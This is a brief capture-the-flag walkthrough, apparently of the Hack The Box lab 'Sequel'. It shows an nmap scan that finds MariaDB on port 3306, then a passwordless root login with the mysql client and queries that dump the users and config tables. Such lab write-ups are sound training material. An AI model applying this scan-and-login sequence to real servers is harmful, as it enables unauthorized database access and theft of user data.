Sequel

January 11, 2024

cat nmap 
# Nmap 7.94 scan initiated Thu Jan 11 10:29:45 2024 as: nmap -sC -sV -oN nmap -vv -Pn 10.129.55.248
Service scan sending probe NCP to 10.129.55.248:3306 (tcp)
Service scan sending probe NotesRPC to 10.129.55.248:3306 (tcp)
Service scan sending probe JavaRMI to 10.129.55.248:3306 (tcp)
Service scan sending probe WMSRequest to 10.129.55.248:3306 (tcp)
Service scan sending probe oracle-tns to 10.129.55.248:3306 (tcp)
Service scan sending probe ms-sql-s to 10.129.55.248:3306 (tcp)
Service scan sending probe afp to 10.129.55.248:3306 (tcp)
Service scan sending probe giop to 10.129.55.248:3306 (tcp)
Nmap scan report for 10.129.55.248
Host is up, received user-set (0.24s latency).
Scanned at 2024-01-11 10:29:45 PST for 255s
Not shown: 999 closed tcp ports (conn-refused)
PORT     STATE SERVICE REASON  VERSION
3306/tcp open  mysql?  syn-ack
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.27-MariaDB-0+deb10u1
|   Thread ID: 66
|   Capabilities flags: 63486
|   Some Capabilities: ODBCClient, Speaks41ProtocolOld, FoundRows, Support41Auth, SupportsTransactions, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, LongColumnFlag, ConnectWithDatabase, InteractiveClient, Speaks41ProtocolNew, SupportsLoadDataLocal, DontAllowDatabaseTableColumn, SupportsCompression, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: !0jGfIzKE[xl5agd@PS.
|_  Auth Plugin Name: mysql_native_password

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 11 10:34:00 2024 -- 1 IP address (1 host up) scanned in 255.62 seconds

mysql -h 10.129.55.248 -u root

SHOW DATABASES;
USE htb;

SHOW tables;

SELECT * FROM users;
SELECT * FROM config;